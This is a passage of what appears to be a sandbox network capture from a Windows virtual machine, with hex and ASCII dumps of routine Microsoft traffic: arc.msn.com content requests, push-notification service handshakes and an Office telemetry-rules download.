Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: za73m1/PJ0KF3GLX.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-20 13:43:04 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3356 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P426081542-T1-C128000000001615609+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: FmZxF9goGdLafxtH/2iQAR0pgJmqaMCgfFzDazTHEXWMIXaTAv6Rd49p7YqGkq2SQXqAr8+A/sd76dmvpy1RGpbw/Z3mqgHvC9MSRxgEi4En4OmiOsivlpt99lw+8AgF5d3mLNR5FLbFTs1WZhqcK7May0A9tKvmRu7zWNfxgiLXtLaKI0F9wcGJsIaX/ciycvraT9wRDny7ktMIODaXV8irb2LsIhISGHfNGEWenSjhfvjX4IsPrTsEpp9jTbuSzW88W4zTxMU02x5rq8va+CKdM+1G6lPNLcQMjGXqGJZ6RNHVZW6f2/eZ8fpeTQCOwyUux400UUkQ1skfAFsiTA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 13:43:04 GMT Connection: close
2024-11-20 13:43:04 UTC	3356	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49712	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:04 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 75 50 6c 4e 74 7a 36 6a 73 45 4f 30 54 71 6d 69 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 66 38 35 66 38 32 39 63 62 66 64 30 31 66 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: uPlNtz6jsEO0Tqmi.1Context: 2f85f829cbfd01f0
2024-11-20 13:43:04 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 13:43:04 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 75 50 6c 4e 74 7a 36 6a 73 45 4f 30 54 71 6d 69 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 66 38 35 66 38 32 39 63 62 66 64 30 31 66 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 7a 55 45 6b 33 4e 66 59 68 39 44 37 4a 45 5a 56 62 6c 51 70 7a 62 55 68 49 35 31 6e 4c 71 31 6c 79 78 73 49 65 70 6c 50 58 6f 72 4f 79 52 49 56 48 6e 75 53 2b 51 69 6e 32 63 6a 51 38 47 78 6c 52 66 65 2f 66 72 53 38 6e 4e 35 33 45 6b 50 56 49 67 5a 54 76 4c 63 7a 43 74 4b 2f 74 4b 78 6b 4e 6c 45 66 39 33 48 61 4b 43 39 4b Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: uPlNtz6jsEO0Tqmi.2Context: 2f85f829cbfd01f0<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXzUEk3NfYh9D7JEZVblQpzbUhI51nLq1lyxsIeplPXorOyRIVHnuS+Qin2cjQ8GxlRfe/frS8nN53EkPVIgZTvLczCtK/tKxkNlEf93HaKC9K
2024-11-20 13:43:04 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 75 50 6c 4e 74 7a 36 6a 73 45 4f 30 54 71 6d 69 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 66 38 35 66 38 32 39 63 62 66 64 30 31 66 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: uPlNtz6jsEO0Tqmi.3Context: 2f85f829cbfd01f0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-20 13:43:05 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 13:43:05 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 38 63 39 73 6d 6b 4d 4d 6d 30 43 47 70 79 2f 5a 47 65 4a 50 2b 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 8c9smkMMm0CGpy/ZGeJP+g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49714	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:07 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4b 7a 33 62 37 6f 57 69 4a 30 53 4a 38 57 41 4b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 66 65 65 33 33 62 61 39 39 39 66 39 32 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Kz3b7oWiJ0SJ8WAK.1Context: 47fee33ba999f926
2024-11-20 13:43:07 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 13:43:07 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4b 7a 33 62 37 6f 57 69 4a 30 53 4a 38 57 41 4b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 66 65 65 33 33 62 61 39 39 39 66 39 32 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 4b 56 72 70 2b 6f 50 45 64 4a 42 78 38 52 74 79 78 33 4d 45 4a 7a 66 69 36 58 48 6b 58 6b 4e 77 59 4f 31 61 54 57 30 6b 58 64 6c 78 2f 6a 7a 47 71 49 45 75 6c 50 73 79 57 6d 31 62 6f 69 66 30 31 35 36 75 43 53 70 65 35 6c 33 6d 44 75 64 58 4b 42 62 71 48 38 4b 73 44 68 6b 73 45 76 79 6c 44 30 46 6b 77 50 71 30 6d 62 53 32 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Kz3b7oWiJ0SJ8WAK.2Context: 47fee33ba999f926<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbKVrp+oPEdJBx8Rtyx3MEJzfi6XHkXkNwYO1aTW0kXdlx/jzGqIEulPsyWm1boif0156uCSpe5l3mDudXKBbqH8KsDhksEvylD0FkwPq0mbS2
2024-11-20 13:43:07 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4b 7a 33 62 37 6f 57 69 4a 30 53 4a 38 57 41 4b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 37 66 65 65 33 33 62 61 39 39 39 66 39 32 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Kz3b7oWiJ0SJ8WAK.3Context: 47fee33ba999f926<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-20 13:43:08 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 13:43:08 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 35 68 65 4a 39 35 6b 43 6b 69 6f 34 30 4b 34 2b 30 42 4c 6c 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: q5heJ95kCkio40K4+0BLlw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:14 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:14 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:14 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134314Z-185f5d8b95cgrrn8hC1NYCgwh40000000a80000000002p44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:14 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 13:43:14 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-20 13:43:14 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 13:43:14 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 13:43:14 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 13:43:14 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 13:43:14 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-20 13:43:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 13:43:15 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
